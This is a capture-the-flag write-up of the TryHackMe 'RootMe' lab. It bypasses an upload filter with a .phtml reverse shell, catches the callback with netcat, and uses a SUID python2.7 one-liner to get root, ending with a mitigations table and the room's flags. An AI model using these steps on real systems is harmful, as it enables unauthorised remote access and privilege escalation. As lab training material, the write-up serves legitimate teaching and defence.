DEV Community

Farhan Hussain
Farhan Hussain

Posted on

A File Upload Filter That Had Never Heard of .phtml — RootMe (TryHackMe)

Platform: TryHackMe · Difficulty: Easy · Category: File Upload Bypass / SUID Interpreter

Introduction

RootMe tells you exactly what to do right there in the name and then helpfully leaves the door ajar. It's a deceptively clean machine: just a web upload panel, a woefully incomplete file extension filter, and a Python interpreter that someone left running with root-level permissions. The escalation path is about as subtle as a flashing arrow labelled "this way to root." The real lesson here isn't the exploit — it's learning to spot the one file in a thousand-line SUID dump that genuinely shouldn't be there.

Recon

Full-range sweep with RustScan, Nmap for service and version fingerprinting:

rustscan -a 10.49.157.64 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV
Enter fullscreen mode Exit fullscreen mode
Port Service Version
22/tcp SSH OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp HTTP Apache httpd 2.4.41 (Ubuntu)

Two ports. Nmap notes the PHPSESSID cookie is missing the HttpOnly flag — same pattern seen elsewhere in this series, same implication: this is a PHP application and session security was not a priority. The HTTP title is HackIT - Home, which radiates beginner CTF energy.

Feroxbuster with PHP, TXT, and HTML extensions:

feroxbuster -u http://10.49.157.64 \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x php,txt,html
Enter fullscreen mode Exit fullscreen mode
# output (relevant hits only)
200  http://10.49.157.64/index.php
301  http://10.49.157.64/panel       # ^^^ file upload panel
301  http://10.49.157.64/uploads     # ^^^ where uploaded files land
200  http://10.49.157.64/panel/index.php
Enter fullscreen mode Exit fullscreen mode

Two finds that belong together: /panel/ provides an upload form, /uploads/ is the publicly browsable directory where files go. This pairing is the entire attack surface — upload a shell to /panel/, trigger it from /uploads/.

Foothold

Web applications that accept file uploads need to ensure users can't upload executable server-side code. A common mitigation is to filter file extensions — but as with any denylist approach, the filter is only as complete as whoever wrote it. PHP files can be executed by Apache under several extensions beyond .php: notably .phtml, .php5, .phar, and others depending on server configuration. If the filter blocks .php but not its siblings, the protection is cosmetic.

Attempting the obvious upload first — .php extension:

# upload result
PHP não é permitido!
Enter fullscreen mode Exit fullscreen mode

Portuguese for "PHP is not allowed." The filter blocks .php by name, which is the most recognisable extension but not the only one Apache will execute as PHP.

Renaming the PentestMonkey PHP reverse shell and re-uploading:

cp php-reverse-shell.php php-reverse-shell.phtml
Enter fullscreen mode Exit fullscreen mode

The .phtml upload was accepted without complaint. The filter had never heard of it.

Setting up the listener, then navigating to the uploaded file at /uploads/ to trigger execution:

nc -nlvp 4444
Enter fullscreen mode Exit fullscreen mode
# reverse shell callback
connect to [192.168.133.233] from (UNKNOWN) [10.49.157.64] 32968
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enter fullscreen mode Exit fullscreen mode

Stabilising with Python PTY:

python -c 'import pty; pty.spawn("/bin/bash")'
Enter fullscreen mode Exit fullscreen mode

Shell / Access

Landed as www-data. Three home directories exist: rootme, test, and ubuntu — none readable from this account. The user flag wasn't in the obvious /home/ locations.

find / -name user.txt 2>/dev/null
Enter fullscreen mode Exit fullscreen mode
/var/www/user.txt   # ^^^ non-standard location
Enter fullscreen mode Exit fullscreen mode
cat /var/www/user.txt
Enter fullscreen mode Exit fullscreen mode
THM{y0u_g0t_a_sh3ll}
Enter fullscreen mode Exit fullscreen mode

The flag lived in the web root's parent directory rather than a home folder — a mild departure from convention that required find rather than a straight cat.

Escalation

The Set User ID (SUID) permission bit on an executable means it runs with the file owner's privileges rather than the calling user's. When a binary owned by root has SUID set, anyone who executes it effectively runs it as root, regardless of who they are. This is intentional for specific binaries like passwd but catastrophic for general-purpose tools or interpreters.

find / -perm -4000 -type f 2>/dev/null
Enter fullscreen mode Exit fullscreen mode

The output is long. Most entries are expected system binaries. One entry is not:

-rwsr-xr-x 1 root root 3657904 Dec  9  2024 /usr/bin/python2.7
Enter fullscreen mode Exit fullscreen mode

In a standard Linux installation, interpreters never have the SUID bit set. python, perl, ruby, node — none of them should appear in a SUID scan. When they do, it means any user can run arbitrary code as root through them.

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Enter fullscreen mode Exit fullscreen mode
# whoami
root
Enter fullscreen mode Exit fullscreen mode
cat /root/root.txt
Enter fullscreen mode Exit fullscreen mode
THM{pr1v1l3g3_3sc4l4t10n}
Enter fullscreen mode Exit fullscreen mode

Exploitation — The Full Chain

  1. .phtml upload bypass at /panel/ — filter blocked .php but not .phtml, landing a reverse shell as www-data
  2. SUID Python2.7 — interpreter with root SUID set, executed a one-liner to spawn a root shell

Rabbit Holes

Exploring /home/rootme/ and /home/test/. After landing the shell, both home directories were investigated. Neither was readable by www-data — permissions were locked down. .sudo_as_admin_successful in /home/rootme/ is an empty marker file created when a user successfully runs sudo for the first time; it contains no useful information. The user flag ultimately wasn't in either home directory anyway.

Flags

Flag Value Location
User THM{y0u_g0t_a_sh3ll} /var/www/user.txt
Root THM{pr1v1l3g3_3sc4l4t10n} /root/root.txt

Mitigations

Vulnerability Severity Mitigation
File upload filter — .phtml not blocked High Use a strict allowlist of safe extensions (.jpg, .png, .pdf only); validate file content via magic bytes, not just the name; store uploads outside the webroot or disable PHP execution in the uploads directory via Apache config
SUID bit set on Python interpreter Critical Remove the SUID bit immediately: chmod u-s /usr/bin/python2.7; audit all SUID binaries regularly with find / -perm -4000; no interpreter should ever have SUID
Missing HttpOnly flag on PHPSESSID Low Set session.cookie_httponly = 1 in php.ini
User flag in web-accessible directory Medium Store flags and sensitive files outside the webroot; /var/www/ is partially web-accessible depending on configuration

Key Takeaway

When reviewing SUID binaries, the question isn't "do I recognise this binary" — it's "should this binary ever have SUID set?" Interpreters, scripting tools, and package managers on that list are immediate red flags. A single find / -perm -4000 run and thirty seconds on GTFOBins is often all that stands between www-data and root.


Room: TryHackMe — RootMe

Top comments (0)